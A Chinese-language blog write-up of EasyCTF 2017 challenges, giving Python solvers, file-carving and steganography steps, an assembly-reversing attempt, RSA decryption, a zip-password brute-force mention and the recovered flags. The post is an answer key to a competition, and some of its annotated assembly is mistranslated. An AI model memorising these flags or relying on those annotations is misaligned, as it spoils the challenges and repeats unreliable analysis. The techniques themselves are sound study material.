相关文章推荐
幸福的帽子  ·  matplotlib inline ^ ...·  1 年前    · 
含蓄的炒饭  ·  Vue bootstrap ...·  1 年前    · 
EasyCTF 2017 Write Up

EasyCTF 2017 Write Up

版权声明:

本文为本人原创,任何个人或组织未征得本人同意不允许任何形式的演绎和转载,安全媒体可以尝试联系本人征得同意有偿转载,否则保留追究法律责任权利。

法律支撑:

中华人民共和国著作权法

个人博客:

HackFun

0x00 Miscellaneous

IRC

problem

EasyCTF has an IRC channel! Check out #easyctf2017 on freenode to claim a free flag, and stick around to get on-the-fly updates during the competition.

solution

了解一波 IRC ,熟悉一下操作命令,找到Cannot join channel (+r) - you need to be identified with services 的 解决方法 ,成功加入到#easyctf2017的频道。

A-maze-ing

problem

Solve a maze! 'j' is left, 'k' is down, 'l' is right, and 'i' is up. You input directions in a string. An example: "jkliilillikjk". Submit your input string as the flag. (Whoops! You don't have a maze, do you? Sucks to be you.

solution

easyctf{jjjjjjjjjjjjjjjjjjj}
easyctf{kkkkkkkkkkkkkkkkkkk}

参考: 一个迷宫从入口进去,沿着右手边的墙走,是否肯定能走到出口?

0x01 Programming

Hello, world!

problem

Use your favorite programming language to print Hello, world! to stdout! Use the programming interface to do this!

Programming Judge codes:

AC: accepted
WA: WRONG ANSWER (you're bad)
TLE: time limit exceeded (make your code faster)
RTE: runtime error
JE: judge error (contact an admin if you encounter this)
CE: compilation error

solution

print('Hello, world!')

Things Add Up

problem

For this problem you will utilise the programming interface, which you can access via the navigation bar at the top of your screen.

The input for your program will be given via STDIN - that's cin, input(), and System.in for cxx, Python, and Java respectively. Output goes to STDOUT - cout, print, and System.out. Your program will be run on several sets of input, and if your output matches ours for each testcase, this problem will be marked solved.

We'll start with a simple challenge. Each testcase has two lines of input. The first will contain an integer N. The second will contain a sequence of integers a_1, a_2, ..., a_N. You are to output the sum of that sequence - that is, a_1 + a_2 + ... + a_n. Good luck!

Input Constraints

0 < N < 100
-1000 < a_i < 1000

Sample Input

5
2 4 7 3 1

Sample Output

17

solution

n = input()
s = raw_input().split()
r = 0
for x in xrange(n):
    r += int(s[x])
print(r)

Fizz Buzz 1

problem

Write a program that takes an integer n as input.

Output the numbers 1 through n, in increasing order, one per line.

However, replace any line that is a multiple of 3 with Fizz and any that are a multiple of 5 with Buzz. Any line that is a multiple of 3 and 5 should be written as FizzBuzz.

The input will be the number of lines to write, n, followed by a linebreak.

Sample input:

17

Sample output:

1
FizzBuzz

solution

n = input()
for x in xrange(1, n + 1):
    if x % 3 == 0:
        if x % 5 == 0:
            print('FizzBuzz')
        else:
            print('Fizz')
    elif x % 5 == 0:
        print('Buzz')
    else:
        print(x)

Library

problem

Your librarian has a 2-row bookshelf that can contain N books in each row. She wants to know the number of ways that she can fill the bookshelf with red-colored books and blue-colored books such that no 2 red-colored books are adjacent to each other (horizontally or vertically).

Input: the integer, N (1<=N<=2^1024)

Output: the number of ways you can place red-colored books and blue-colored books onto a N-column bookshelf. Since this number might be really big, output it mod 10^9+7.

Example: Input: 2

Your valid bookshelf layouts are:

BB

Therefore, Output: 7

solution

画图或编程找出规律公式,然后就是数学推导,最后编程计算:


import numpy as np
n = input()
temp = np.array([[0, 1], [1, 2]])
matrix = np.array([[0, 1], [1, 2]])
init = np.array([[3], [7]])
for x in xrange(n - 2):
    temp = np.dot(temp, matrix)
result = np.dot(temp, init)
print(result[0][0] % (10 ** 9 + 7))

来自VictorZC表哥的矩阵快速幂解法:

n = input()
p = n-2
a0=0
a1=1
a2=1
a3=2
r0=1
r1=0
r2=0
r3=1
mod=10**9+7
while p>0:
    if p%2==1:
        c0=a0*r0+a1*r2
        c1=a0*r1+a1*r3
        c2=a2*r0+a3*r2
        c3=a2*r1+a3*r3
        r0=c0%mod
        r1=c1%mod
        r2=c2%mod
        r3=c3%mod
    c0=a0*a0+a1*a2
    c1=a0*a1+a1*a3
    c2=a2*a0+a3*a2
    c3=a2*a1+a3*a3
    a0=c0%mod
    a1=c1%mod
    a2=c2%mod
    a3=c3%mod
    p=p//2
if n==1:
    print 3
else:
    print (r2*3+r3*7)%mod

Fzz Buzz 2

problem

Oh no! Two of my keys are broken! Please help me make the same Fzz Buzz program, sans that one letter and queston marks. As a side note, use of eval() and exec() is also frowned upon and will be marked invalid.

solution

# Create aliases
f = getattr(globals()['__bu\x69lt\x69ns__'],'\x69nput')
p = getattr(globals()['__bu\x69lt\x69ns__'],'pr\x69nt')
# Get user input
n = f()
# Prints text for line k and calls itself with the next line
def go(k):
    a = ((k % 15 == 0) and p('F\x69zzBuzz'))
    a = ((k % 3 != 0 and k % 5 == 0) and p('Buzz'))
    a = ((k % 3 == 0 and k % 5 != 0) and p('F\x69zz'))
    a = ((k % 3 != 0 and k % 5 != 0) and p(k))
    a = ((k < n) and go(k + 1))
go(1)

Down a Notch

problem

I've spent too long in the high level, let's take the level down a notch . Help me find the correct input to this function! Your answer should be in the format a:b where a and b are integers. Do not wrap it with easyctf{}. Hint: Compiled with x86-64 gcc 4.9.4

check(int, int):
        pushq   %rbp
        movq    %rsp, %rbp
        movl    %edi, -36(%rbp)
        movl    %esi, -40(%rbp)
        movl    -36(%rbp), %eax
        xorl    -40(%rbp), %eax
        movl    %eax, -4(%rbp)
        movl    -4(%rbp), %eax
        addl    $98, %eax
        movl    %eax, -8(%rbp)
        movl    -8(%rbp), %eax
        notl    %eax
        movl    %eax, %edx
        movl    -40(%rbp), %eax
        addl    %edx, %eax
        movl    %eax, -12(%rbp)
        movl    -12(%rbp), %eax
        xorl    -36(%rbp), %eax
        movl    %eax, -16(%rbp)
        movl    -40(%rbp), %eax
        imull   -4(%rbp), %eax
        idivl   -8(%rbp)
        movl    %eax, %edx
        movl    -36(%rbp), %eax
        leal    (%rdx,%rax), %ecx
        movl    -12(%rbp), %edx
        movl    -16(%rbp), %eax
        addl    %edx, %eax
        xorl    %ecx, %eax
        movl    %eax, -20(%rbp)
        cmpl    $-814, -20(%rbp)
        sete    %al
        popq    %rbp

solution

推荐文章: 从汇编角度浅析C程序

简单的汇编代码理解:

push rbp
mov rbp, rsp
mov [rbp-36], edi
mov [rbp-40], esi
mov eax,[rbp-36]   ;eax = r36
xor [rbp-40], eax  ;r40 = r40 ^ eax
mov [rbp-4], eax   ;r4 = eax
mov eax, [rbp-4]   ;eax = r4
add eax, 98        ;eax = eax + 98
mov [rbp-8], eax   ;r8 = eax
mov eax, [rbp-8]   ;eax = r8
not eax            ;eax = ~ eax
mov edx, eax       ;edx = eax
mov eax,[rbp-40]   ;eax = r40 
add eax, edx       ;eax = eax + edx
mov [rbp-12], eax  ;r12 = eax
mov eax, [rbp-12]  ;eax = r12
mov eax, [rbp-36]  ;eax = r36
mov [rbp-16], eax  ;r16 = eax
mov eax, [rbp-40]  ;eax = r40
imul eax, [rbp-4]  ;eax = eax * r4
idiv [rbp-8]       ;eax = eax / r8 edx = eax % r8
mov edx, eax       ;edx = eax
mov eax, [rbp-36]  ;eax = r36
lea ecx, [rdx+rax] 
mov edx, [rbp-12]  ;edx =r12
mov eax, [rbp-16]  ;eax = r16
add eax, edx       ;eax = eax + edx
xorl ecx, eax      ;ecx = ecx ^ edx
movl eax, [rbp-20] ;eax = r20
cmpl -814, [rbp-20];r20 ?= -814
sete al
popq [rbp]
a = input()
b = input()
c = a ^ b
d = 98 + c
e = ~d + b
f = e ^ a
g = a + b * c / d ^ e + f
g ?= -814

整理一下:

g = a + b * (a ^ b) / (98 + (a ^ b)) ^ (~(98 + a ^ b) + b) + (~(98 + a ^ b) + b) ^ a

二元一次方程求解,暴力跑一下:

def check(a, b):
    c = a ^ b
    d = 98 + c
    e = ~d + b
    f = e ^ a
    res = a + b * c / d ^ e + f
    if res == -814:
        return True
    else:
        return False
for a in range(1000):
    for b in range(1000):
        find = False
        if check(a, b):
            find = True
            print "%d:%d" % (a, b) # 14:975
            break
    if find:
        break

MWayward Space Junk

problem

I'm trying to destroy some space junk, but it won't stop moving!

nc wayward.tcp.easyctf.com 8580

Pilot Key: 7554eb73dc155375b47b4a655a27332b

hint: Try figuring out the trajectory of the junk.

solution

writeup

Match Me

problem

When making pairings between two sets of objects based on their preferences (in this case people), there can be multiple stable solutions, stable meaning that no two elements would prefer to be matched with each other over their current matching. A side-effect of having multiple solutions is that there are solutions favor one group over the other.

We received two files, one listing men and the other women. Each line contains a name, followed by a series of numbers. Each number N corresponds to their preference to be matched with the Nth member of the opposite list, with 1 being the highest.

For example, the entry "Joe 4, 5, 3, 1, 2" means that Joe would most prefer the 4th entry on the opposite list, and least prefer the 2nd.

We have heard that there are some pairings that will be together in all possible stable matchings, please find them. However, because there are quite a bit of them, please submit your solution as the following:

MD5 hash of (male_1,female_1)(male_2,female_2)...(male_n,female_n), where the pairings are sorted alphabetically by male names. For example, (Bob,Susie)(Jim,Carol)(Tom,Emma) would be submitted as b0d75104ce4b3a7d892f745fd515fea4.

Here are the lists of preferences: male preferences , female preferences .

Hint: This is a fairly well-known graph problem. I would guess there is some sort of internet source on it.

solution

writeup

#https://www.youtube.com/watch?v=Qcv1IqHWAzg
import hashlib
def main(maleFile,femaleFile,reverse):
    #These -10000's and such are to pad the array,
    #so nth id represents nth index
    males = [[-10000]]
    maleIDNameMap = {}
    females = [[-10000]]
    femaleIDNameMap = {}
    loadData(males,maleIDNameMap,maleFile)
    loadData(females,femaleIDNameMap,femaleFile)
    #Format is that the man's index is there id, and inside is [x,y] where y is id of person they're paired with,
    # and x is his rank for that person, rank being 0-based
    manCurrentAssignments = [[1000000,-1000]]*len(males)
    unassignedWomenIDs = list(range(1,len(females)))
    while(len(unassignedWomenIDs) != 0):
        #use i, so I don't ahve to worry about modifying list while looping through it.
        i = len(unassignedWomenIDs) - 1
        while(i >= 0):
            womanID = unassignedWomenIDs[i]
            i-=1
            #pop so that I don't check same combo again later.
            nextPrefferedManID = females[womanID].pop(0)
            thisWomanPrefferenceRank = males[nextPrefferedManID].index(womanID)
            if(manCurrentAssignments[nextPrefferedManID][0] > thisWomanPrefferenceRank):
                # assign this woman to this man
                del unassignedWomenIDs[i+1]
                oldAssigneeID = manCurrentAssignments[nextPrefferedManID][1]
                if(oldAssigneeID==-1000):
                    #ezpz
                    manCurrentAssignments[nextPrefferedManID] = [thisWomanPrefferenceRank,womanID]
                else:
                    #gotta kick off old woman, and try everything in range 1... cur
                    #except I'm doing something clever and only keeping men she hasn't tried on listRef
                    #so program may just iterate a few more times. No recursive dealing with kicking off more
                    #and more women.
                    unassignedWomenIDs.append(oldAssigneeID)
                    manCurrentAssignments[nextPrefferedManID] = [thisWomanPrefferenceRank,womanID]
    output = []
    if(reverse):
        for i in range(1,len(males)):
            output.append([femaleIDNameMap[manCurrentAssignments[i][1]],maleIDNameMap[i]])
    else:
        for i in range(1,len(males)):
            output.append([maleIDNameMap[i],femaleIDNameMap[manCurrentAssignments[i][1]]])
    return output
def loadData(listRef,idRef,fname):
    lines = []
    with open(fname) as f:
        lines = f.readlines()
    i = 1
    for line in lines:
        elements = line.split(' ')
        idRef[i] = elements[0]
        tmp = []
        for k in range(1,len(elements)):
            tmp.append(int(elements[k][:-1]))
        listRef.append(tmp)
        i += 1
maleFirst   = main('male','female',False)
femaleFirst = main('female','male',True )
toMD5 = []
for i in maleFirst:
    for j in femaleFirst:
        if(i[0] == j[0]):
            if(i[1]==j[1]):
                toMD5.append(i)
# For MD5
md5String = ""
for i in toMD5:
    md5String += "(%s,%s)" %(i[0], i[1])
print(md5String)
md5 = hashlib.md5(md5String.encode()).hexdigest()
print(md5)

0x02 Forensics

Mane Event

problem

My friend just got back from the plains and he took this picture with his new camera. He also told me there's a flag hidden in it - can you check it out for me?

solution


20xx

problem

My friend sent me this file and told me to git gud.

solution

20xx writeup

scisnerof

problem

I found weird file! elif

solution

png文件内容被倒序处理了,写一个脚本恢复:

with open("elif", "rb") as file:
    with open("new.png", "wb") as png:
        data = []
        byte = file.read(1)
        while byte != "":
            data.append(byte)
            byte = file.read(1)
        for i in reversed(data):
            png.write(i)
easyctf{r3v3r5ed_4ensics}

Petty Difference

problem

I found two files in a secret room. They look like jumbled letters with no patterns. I mean look at it! file1 is identical to file2 , right?

solution

with open("file1.txt") as file1:
    str1 = file1.read()
with open("file2.txt") as file2:
    str2 = file2.read()
str1_diff = ''
str2_diff = ''
for x in range(len(str1)):
    if str1[x] != str2[x]:
        str1_diff = str1_diff + str1[x]
        str2_diff = str2_diff + str2[x]
print(str1_diff)
print(str2_diff)
print("flag:%s" %str1_diff[::-1])

Flag Collection

problem

Here's a collection of flags ! I think you're looking for a specific one, though...

solution

Thumbs.db thumbs viewer


easyctf{thumbs.db_c4n_b3_useful}

Zooooooom

problem

Hekkerman is looking awfully spooky. That hekker glare could pierce a firewall. What can he see that you can't?

solution

图片由三张图片合并拼接而成,分别分离出得到flag:


Gibberish

problem

I have no idea what this image is, but my sources tell me that it contains something useful, a flag perhaps? Can you help me find it? There are 3 parts to the flag. There are 3 colors of the rainbow. My flag will never expire. Hint:Presence is more important than intensity. Everything is simply boolean. One of the parts requires a scanner.

solution

这题要仔细审题,给了很多信息,提示flag由三部分组成,又说了三种颜色,只给了一张24位的图片:


很容易联想到图像的R,G,B分离处理,打开PS把图像的R,G,B通道分离得到:

R通道:


G通道:


B通道:


题目又提示其中一张需要扫描器,综合来看3张图片有张可能是条形码,于是PS中反相,不断锐化,然后将线条填充完整,类似这样:


不过这样太麻烦,于是写个脚本自动处理图像:

from PIL import Image
from PIL import ImageEnhance
def invert(im):
    im = im.convert("L")
    pixel = im.load()
    width = im.size[0]
    height = im.size[1]
    for x in range(width):
        for y in range(height):
            pixel[x, y] = 255 - pixel[x, y]
    return im
def enhance(im):
    im = ImageEnhance.Contrast(im).enhance(10.0)
    return im
def fill(im):
    im = im.convert("L")
    pixel = im.load()
    width = im.size[0]
    height = im.size[1]
    for x in range(width):
        if((pixel[x, 0] != 255) or (pixel[x, 21] != 255) or (pixel[x, 43] != 255)):
            for y in range(height):
                pixel[x, y] = 0
    return im
def main():
    im = Image.open('cea3386a382bfad628a3c5edf8d61a9285ab0290_gibberish.png')
    pixel = im.load()
    channels = ['r', 'g', 'b']
    i = 0
    for im_channel in im.split():
        im_invert = invert(im_channel)
        im_enhance = enhance(im_invert)
        im_fill = fill(im_enhance)
        im_fill.save('im_' + channels[i] +'.png')
        i += 1
if __name__ == '__main__':
    main()

处理后分别得到R,G,B通道的图像:


处理后G通道最有可能是条形码,多次扫描终于( 条码扫描器Barcode Scanner ):


得到8个字符:LH5i6uQz

那其他两张图像怎么处理呢,提示说任何事物都是简单的二进制,开脑洞想到可能是黑白颜色代表二进制的1,0,于是提取图像的首行像素转换二进制串再转换为字符串:

from PIL import Image
import libnum
im_b = Image.open('im_b.png')
im_r = Image.open('im_r.png')
def image2ascii(im):
    im = im.convert("L")
    pixel = im.load()
    width = im.size[0]
    bits = ""
    for x in range(width):
        if(pixel[x, 0] == 255):
            bits += "0"
        else:
            bits += "1"
    print(libnum.b2s(bits))
def main():
    image2ascii(im_r)
    image2ascii(im_b)
if __name__ == '__main__':
    main()

也是得到了两组8个字符:

aPgMasSt
5U5EYz2b

一开始以为三个部分组合可能是base64,但是怎么组合都不对,陷入江局,又看了N遍题目,说我的flag永远不会过期,GG搜索N久才发现说的是 pastebin 。程序员的世界你不懂,他们已经占领了 github,但我们还有 PasteBin。


而你分享的内容会自动生成一个8字符的链接,这脑洞也是服,最后得到网址:

组合得到:easyctf{col0rs_b4rcod3s_and_b1nary_f?n} 激动地一提交,结果不对,仔细又开打链接检查,才发现flag里有个问号,可能是让猜测,填个u试试(fun),终于get Orz。

QR1

problem

I just saw this QR code the other day, but couldn't tell what data it has. Can you help? Here it is.

Hint:Is the image only black and white?

solution


首先看到二维码的定位标识被反相处理了,题目还提示了说图像只有黑色和白色吗,于是推测图像可能不止黑白两种颜色,于是打开PS不断锐化原图像果然发现一些接近黑色的颜色被暴露:

需要把接近黑色的颜色画成黑色,手动画图挺麻烦还是上脚本:

from PIL import Image
def process(image):
    pixels = image.load()
    width = image.size[0]
    height = image.size[1]
    for x in range(width):
        for y in range(height):
            if (pixels[x, y] != 255):
                if pixels[x, y] < 125:
                    pixels[x, y] = 0
                else:
                    pixels[x, y] = 255
    return image
def main():
    image = Image.open('qr1.bmp')
    image = image.convert('L')
    processed_image = process(image)
    processed_image.save('solved.bmp')
if __name__ == '__main__':
    main()

得到处理后的图像:

接下来对定位标识进行反相处理:

ZWFzeWN0ZntuMHdfd2hvLXcwdTFkX2RvX3RoQVRfdG9fVGgzaXJfUVI/fQ== (二维码自动识别)


easyctf{n0w_who-w0u1d_do_thAT_to_Th3ir_QR?}

Ogrewatch

problem

My friend was out watching ogres when he heard a strange sound. Could you figure out what it means? ogreman Hint:If you're having trouble with the file format, Gary Kessler might help.

solution

root@kali:~/Desktop# file ogreman 
ogreman: Matroska data

在了解一波 MATROSKA 文件格式 给文件加上.mka后缀后使用Pot Player播放时有字幕一闪而过:


于是使用MATROSKA文件处理工具 MKVToolNix 中的mkvextract将字幕导出:


λ mkvextract.exe tracks 132ea90b28084ca59d251988faeecf40e4879b98_ogreman 2:zimu

将有flag的部分提取出来单独处理:

with open('flag.txt') as file:
    lines_list = file.readlines()
    flag = ""
    for line in lines_list:
        flag = flag + line[50]
    print(flag) # easyctf{subs_r_b3tt3r_th@n_dub5}

Flag PEG

problem

We found a flag but it didn't do anything. Maybe you can find a better flag ? You're not looking deep enough.

solution

sunnyelf@ubuntu:~/Desktop$ binwalk -v heresaflag 
Scan Time:     2017-03-26 09:29:30
Target File:   /home/sunnyelf/Desktop/heresaflag
MD5 Checksum:  890fad720c23e53f4698ac04bc5f9a23
Signatures:    344
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, EXIF standard
12            0xC             TIFF image data, big-endian, offset of first image directory: 8
18357         0x47B5          Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt=
341939        0x537B3         7-zip archive data, version 0.3
sunnyelf@ubuntu:~/Desktop$ dd if=heresaflag of=1.7z skip=341939 bs=1
记录了156772+0 的读入
记录了156772+0 的写出
156772 bytes (157 kB, 153 KiB) copied, 0.211627 s, 741 kB/s
sunnyelf@ubuntu:~/Desktop$ 7z e 1.7z 
p7zip Version 9.20 (locale=zh_CN.UTF-8,Utf16=on,HugeFiles=on,1 CPU)
Processing archive: 1.7z
Extracting  KHgrbikqKC0xKV5u
Everything is Ok
Size:       155553
Compressed: 156772
sunnyelf@ubuntu:~/Desktop$ python -c "import base64;print base64.b64decode('KHgrbikqKC0xKV5u')"
(x+n)*(-1)^n

看到(x+n)*(-1)^n可能是加密算法,而KHgrbikqKC0xKV5u文件可能就是已加密的文件,先拖进Hex Editor Neo看看:

看到第一个字节是0x89第一反应可能png的头,推测该加密的文件原文件是png文件,如果x表示字节内容,n表示顺序的话简单地来验证一下(0x89 = 137):(137+0)*(-1)^0=137,果然计算结果相同,那么把png文件头都使用(x+n)*(-1)^n加密再和已加密的文件对比一下呢:

结果发现规律,png文件头上的偶数位字节数值(从0开始数起)加密计算后总是与给的文件偶数位上字节数值相等,png文件头上的奇数位字节数值加密后与给的文件奇数位上的字节数值满足一种关系:给的文件奇数位上的字节数值减去经过加密的数值恒等于256,比如175-(-81)=256 182-(-74)=256,如果y=(x+n)*(-1)^n,那么x=y/(-1)^n-n ,注意计算结果可能为负值,所以要模256,所以接下来就交给脚本:

decrypt_data = ''
with open('KHgrbikqKC0xKV5u', 'rb') as encrypted_file:
    n = 0
    while 1:
        byte = encrypted_file.read(1)
        if not byte:
            break
        d = ord(byte)
        if n % 2 == 0:
            y = d
            x = (y / ((-1) ** n) - n) % 256
            decrypt_data += chr(x)
        else:
            y = (d - 256)
            x = (y / ((-1) ** n) - n) % 256
            decrypt_data += chr(x)
        n += 1
with open('decrypt_file.png', 'wb') as decrypt_file:
    decrypt_file.write(decrypt_data)

My USB

problem

I found my usb from a long time ago. I know there's a flag on there somewhere; can you help me find it?

solution

root@kali:~/Desktop# mv 2c370b79d147127064f019dcb05bba1aa917c552_usb.img usb.img
root@kali:~/Desktop# binwalk -v usb.img 
root@kali:~/Desktop# foremost usb.img

Finn

problem

The Resistance intercepted this suspicious picture of Finn's old stormtrooper helmet, sent by General Hux to Kylo Ren. Hux isn't exactly Finn's biggest fan. What could he be hiding? Good luck!

If you get stuck, We also have this blob of sarcasm, which may or may not be useful in your quest. Worth a shot right?

Hint:In hindsight, numerical pins make really bad passwords . . . especially if they are pop culture references, also some pixels differ by more than one

Everyone complains that my problems are too random. Fine. Here is EXACTLY how to solve this problem.
1. Wow I have an image. I wonder why it’s so big (read: grandma, what large eyes you have)
2. So I figured that part out. Great, there’s a password. I wonder what that has to do with this image. Or wait, I could just brute force it, right? Either way works. It’s called reading the problem description. Or even the title. Titles do matter.
3. Yay, 2 images. What’s the difference? Hmmmm, I wonder what would happen if I ressed that difference pictorially. 
4. Well I got some stuff, but it makes no sense. Oh wait, maybe I need a key! Let’s go back to that thing we extracted earlier, shall we? Maybe those discrepancies are ACTUALLY USEFUL. Nothing is an accident, not even random out of place pixels. Check them. Carefully.
5. What do I do with this message and key? How about, the most obvious thing in every CTF ever. Seriously.
So you got the flag. Congrats! See, it wasn’t that bad.

solution

root@kali:~/Desktop# file finn.jpg 
finn.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 118x118, segment length 16, baseline, precision 8, 630x630, frames 3
root@kali:~/Desktop# binwalk -v finn.jpg 
Scan Time:     2017-03-27 03:53:23
Target File:   /root/Desktop/finn.jpg
MD5 Checksum:  e09ee29407ca1b68db84dae5be8a52d4
Signatures:    344
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
44350         0xAD3E          Zip archive data, at least v1.0 to extract, name: kylo/
44413         0xAD7D          Zip archive data, encrypted at least v2.0 to extract, compressed size: 3489072, uncompressed size: 3488525, name: kylo/kylo1.png
3533573       0x35EB05        Zip archive data, encrypted at least v2.0 to extract, compressed size: 3489495, uncompressed size: 3488948, name: kylo/kylo2.png
7023399       0x6B2B27        End of Zip archive
root@kali:~/Desktop# foremost finn.jpg 
Processing: finn.jpg
|foundat=kylo/UT    
foundat=kylo/kylo1.pngUT*|

得到一个加密的zip,尝试暴力破解:


解压得到两种表面上相似的png图片,使用Stegsolve对比检测,当浏览到sub模式时:

XHg2M1x4NjhceDY2XHg2M1x4N2VceDcxXHg3M1x4MzRceDc2XHg1N1x4NzJceDNjXHg3NFx4NzNceDVjXHgzMVx4NzVceDVkXHg2Ylx4MzJceDM0XHg3N1x4NTlceDM4XHg0Y1x4N2Y= (二维码自动识别)


扫码得到26个hex值:

\x63\x68\x66\x63\x7e\x71\x73\x34\x76\x57\x72 \x74\x73\x5c\x31\x75\x5d\x6b\x32\x34\x77\x59\x38\x4c\x7f

,尝试解码得到

chfc~qs4vWr<ts\1u]k24wY8L

,结果不是flag,根据提示又看比较出来的二维码左下角貌似多了一些像素,于是在PS中对比才发现还有一些像素stegsolve没有提取出来:



刚好26个像素,将它们的灰度值提取出来:5,4,7,4,5,2,7,0,4,8,5,8,6,0,3,0,6,2,9,1,1,3,6,2,8,2,写个脚本异或看看:

a = [0x63,0x68,0x66,0x63,0x7e,0x71,0x73,0x34,0x76,0x57,0x72,0x3c,0x74,0x73,0x5c,0x31,0x75,0x5d,0x6b,0x32,0x34,0x77,0x59,0x38,0x4c,0x7f]
b = [5,4,7,4,5,2,7,0,4,8,5,8,6,0,3,0,6,2,9,1,1,3,6,2,8,2]
c = []
d = ''
for x in xrange(len(a)):
    c.append(a[x] ^ b[x])
for y in xrange(len(c)):
    d += chr(c[y])
print(d) # flag{st4r_w4rs_1s_b35t_:D}

Serial

problem

I was listening to this haystack, but I didn't notice anything. What did I miss?

hint: 010100110110010101110010011010010110000101101100001011100010111000101110

solution

writeup

Decomphose

problem

Image arithmetic is super neat until there's more than two images involved.

file 1

file 2

file 3

file 4

solution

给了4个压缩包,分别解压一共得到48张类似这样的图片:

放大可以看到一些像素被周围黑色像素包围,其他的图片打开放大看也是这种情况,所以尝试把所有图片中被黑色像素包围的像素提取到一张图片上看看:

import os
from PIL import Image
flag = Image.new("RGB", (1280, 720))
path = "E:\sunnyelf\Desktop\easyctf 2017\Forensics\Decomphose\decomp"
for file_name in os.listdir(path):
    f = Image.open(path + "\\" + file_name)
    width, height = f.size
    for i in xrange(width):
        for j in xrange(height):
            add = True
            if (i > 0 and f.getpixel((i - 1, j)) != (0, 0, 0)):
                add = False
            if (i < width - 1 and f.getpixel((i + 1, j)) != (0, 0, 0)):
                add = False
            if (j > 0 and f.getpixel((i, j - 1)) != (0, 0, 0)):
                add = False
            if (j < height - 1 and f.getpixel((i, j + 1)) != (0, 0, 0)):
                add = False
            if (add):
                flag.putpixel((i, j), f.getpixel((i, j)))
flag.save("flag.png")

跑了3分钟左右,看看结果:

QR2

problem

When I am not practicing my Oboe for band, I have been working on a QR code generator. For some reason, some of the images are not scannable. Here is one, can you tell me what it says?

NOTE: Due to a flag leak, this is a re-release of the problem with a new flag.

hint: Is there another kind of Oboe?

solution

writeup

0x03 Steganography

Kittycat

problem

My cats are cuter than yours :) hint: I used to have one cat, but now I have two.

solution

图像处理基本知识

图像基本运算

Install OpenCV-Python in Windows

ffmpeg -i kittycat.avi kittycat%01d.png

把视频每帧分离后得到606张png图片,每两张表面看上去相似,先尝试每两张异或提取出不同的地方:

import cv2
i = 1
for x in xrange(1, 607, 2):   
    img1 = cv2.imread('kittycat' + str(x) +'.png')
    img2 = cv2.imread('kittycat' + str(x + 1) +'.png')
    xor_img = cv2.bitwise_xor(img1, img2)
    cv2.imwrite('xor/xor_img' + str(i) + '.png', xor_img)
    i += 1

得到303张异或后的图片,尝试将它们全部相加:

import cv2
add_img = cv2.imread('xor_img1.png')
for x in xrange(2, 304):
    img = cv2.imread('xor_img'+ str(x) +'.png')
    add_img = cv2.add(add_img, img)
cv2.imwrite('add_img.png', add_img)

PS处理一下:

Bizarro

problem

Something seems very strange about this strange looking image. Check it out?

hint: Red herrings are always a touchy subject. Combine this hint with intel you find in the problem, throw in a blind guess, and perhaps you'll stumble into the answer.

solution

Q0kgWENWSUkgQ1hWIENYWEkgWENJWCBDWFZJIENJSSBDWFhJSUkgQ1hWSSBDSVYgQ1YgQ1hWIFhDViBDViBDWFYgWENWIENYIENYSSBDWFZJIFhDViBDWFZJIENJViBDSSBYQ1YgQ0lJIENWSUlJIFhDVklJIENJSUkgQ1hYViBYWFhJSSBDViBYWFhJSSBDVklJIENYIENYSSBDWElYIFhYWElJIENYVkkgQ0lWIENWIENYViBYWFhJSSBDSUkgQ1ZJSUkgWENWSUkgQ0lJSSBYWFhJSSBDViBDWFYgWFhYSUkgQ1hJWCBDSSBDViBDWElWIEMgWFhYSUkgQ1YgWFhYSUkgQ1ZJIENYVklJIENYViBDWFZJIFhYWElJIFhDSVggWENWSUkgQ1ggWFhYSVggQ1hWSSBYWFhJSSBDWElJIENYVklJIENYVkkgWFhYSUkgQ0lYIENYWEkgWFhYSUkgQ0lJIENWIENYIENJSUkgQ0kgQ1hJViBYWFhJSSBDWEkgQ1ggWFhYSUkgQ1hJWCBDSVYgQ1hYSQ== (二维码自动识别)

CI XCVII CXV CXXI XCIX CXVI CII CXXIII CXVI CIV CV CXV XCV CV CXV XCV CX CXI CXVI XCV CXVI CIV CI XCV CII CVIII XCVII CIII CXXV XXXII CV XXXII CVII CX CXI CXIX XXXII CXVI CIV CV CXV XXXII CII CVIII XCVII CIII XXXII CV CXV XXXII CXIX CI CV CXIV C XXXII CV XXXII CVI CXVII CXV CXVI XXXII XCIX XCVII CX XXXIX CXVI XXXII CXII CXVII CXVI XXXII CIX CXXI XXXII CII CV CX CIII CI CXIV XXXII CXI CX XXXII CXIX CIV CXXI

罗马数字 Roman numerals

在线转换 一下,得到一些数字,数字大小都不超过255,有可能是ASCII值:

nums = [101,97,115,121,99,116,102,123,116,104,105,115,95,105,115,95,110,111,116,95,116,104,101,95,102,108,97,103,125,32,105,32,107,110,111,119,32,116,104,105,115,32,102,108,97,103,32,105,115,32,119,101,105,114,100,32,105,32,106,117,115,116,32,99,97,110,39,116,32,112,117,116,32,109,121,32,102,105,110,103,101,114,32,111,110,32,119,104,121]
txt = ''
for n in nums:
    txt += chr(n)
print(txt)
easyctf{this_is_not_the_flag} i know this flag is weird i just can't put my finger on why

额,好吧,后来看了大神的 writeup 跪了。

0x04 Cryptography

Flip My Letters

problem

I dropped my alphabet on its head, can you help me reassemble it? easyctf{r_wlmg_vevm_mvvw_zm_zhxrr_gzyov}

solution

使用了简单的替换的加密方法,每个字母被对应另一个字母替换,使用基于字典的词频分析在线网站 quipqiup 解出flag。

Clear and Concise Commentary on Caesar Cipher

problem

The flag is in Commentary.pdf . Use lowercase.

solution

凯撒密码,给出的文档值得一看,找到文档中RNFLPGS{LBHTBGVG},凯撒密码 在线解密


最终flag为easyctf{yougotit}

RSA1

problem

I found somebody's notes on their private RSA! Help me crack this .

solution

RSA算法原理

扩展欧几里得算法

libnum模块

import libnum
p = 33499881069427614105926941260008415630190853527846401734073924527104092366847259
q = 34311544767652906613104559081988349779622789386528780506962212898921316785995851
e = 65537
c = 43465248299278658712013216049003172427898782261990372316282214376041873514481386908793943532363461126240609464283533882761307749486816342864113338277082746552
n = p * q
phi = (p - 1) * (q - 1)
d = libnum.modular.invmod(e, phi)
print libnum.n2s(pow(c, d, n)) #easyctf{wh3n_y0u_h4ve_p&q_RSA_iz_ez_7829d89f}

Let Me Be Frank

problem

